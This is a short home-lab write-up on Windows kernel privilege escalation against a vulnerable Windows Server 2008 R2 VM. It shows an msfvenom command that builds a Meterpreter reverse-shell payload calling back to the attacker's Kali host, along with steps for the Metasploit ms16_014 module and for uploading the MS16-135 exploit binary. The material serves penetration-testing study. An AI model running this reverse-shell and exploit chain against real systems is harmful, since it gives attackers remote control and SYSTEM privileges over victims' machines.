🔬Win Kernel Privesc
Lab 1 (Extra)
🔬 Home Lab
I have prepared a vulnerable Windows 2008 R2 Virtual Machine and connected it to the same network of the Kali virtual machine.
Host system:
Kali Linux- IP192.168.31.128Target system:
Windown Server 2008 R2- IP192.168.31.131-test:Exploit12345❗ Targeting Kernel space memory and apps can cause system crashes, data loss, etc. Do NOT use it in production systems❗
Exploitation
Get a
Meterpretersession on the target with a manual payloadCreate the payload on the Kali VM
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.31.128 LPORT=4444 -f exe -o payload.exeStart a webserver on Kali VM
python3 -m http.serverOn the Win2008 VM, login with the
test:Exploit12345userOpen the link
http://192.168.31.128:8000/and downloadpayload.exeStop the webserver on Kali VM
Set up a payload handler on Kali VM
On the Win2008 VM, run the payload with the
testuser

View the
meterpretersession on Kali VM

Background the session

Local Privilege Escalation
Enumerate Windows Kernel vulnerabilities with Metasploit

e.g.Windows WMI Receive Notification Exploit - ms16_014_wmi_recv_notifThis module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl


By using a kernel exploit for this specific version of Windows O.S., the attacker is able to get a
meterpretersession with elevated privileges.

Manual Privilege Escalation
Save the
systeminfooutput to a file namedwin2008r2-systeminfo.txt
Windows-Exploit-Suggester
Open a Kali VM terminal session and use Windows-Exploit-Suggester
Use https://cloudconvert.com/xlsx-to-xls to convert the
2023-03-15-mssb.xlsfile to.xlsxand back to.xlsRun the script


MS16-135
Search
MS16-135in the windows-kernel-exploits github repositorycheck the 41015.c
Cfile to check if the code does what it's supposed toin this case I will use the pre-build executable
41015.exe
Knowing that the specific Windows version is vulnerable to this particular exploit, proceed with the exploitation
Use the meterpreter access to upload the 41015.exe file to the temp directory within the Windows O.S.

🧪 I have tried to copy the exploit file to my protected Windows host. Antivirus will detect the Exploit file, so pay attention.
Last updated
Was this helpful?
